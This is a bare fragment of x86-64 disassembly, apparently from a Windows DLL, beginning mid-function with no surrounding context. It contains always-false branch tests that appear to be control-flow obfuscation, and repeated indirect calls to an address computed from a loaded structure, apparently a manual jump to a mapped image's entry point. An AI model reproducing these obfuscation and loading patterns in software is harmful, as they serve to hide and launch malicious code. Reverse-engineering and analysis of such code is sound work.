je 0x180002242
cmp eax, 0xa
jl 0x1800021f4
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
jne 0x18000221b
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x28]
add rax, r12
call rax
cmp dword [0x180020a78], 0xa
jl 0x18000222a
mov eax, dword [0x180020a74]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000222a
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x28]
add rax, r12
call rax
jmp 0x1800021f4
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x28]
add rax, r12
call rax
mov eax, dword [0x180020a78]
cmp eax, 0xa
jge 0x1800021d3
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret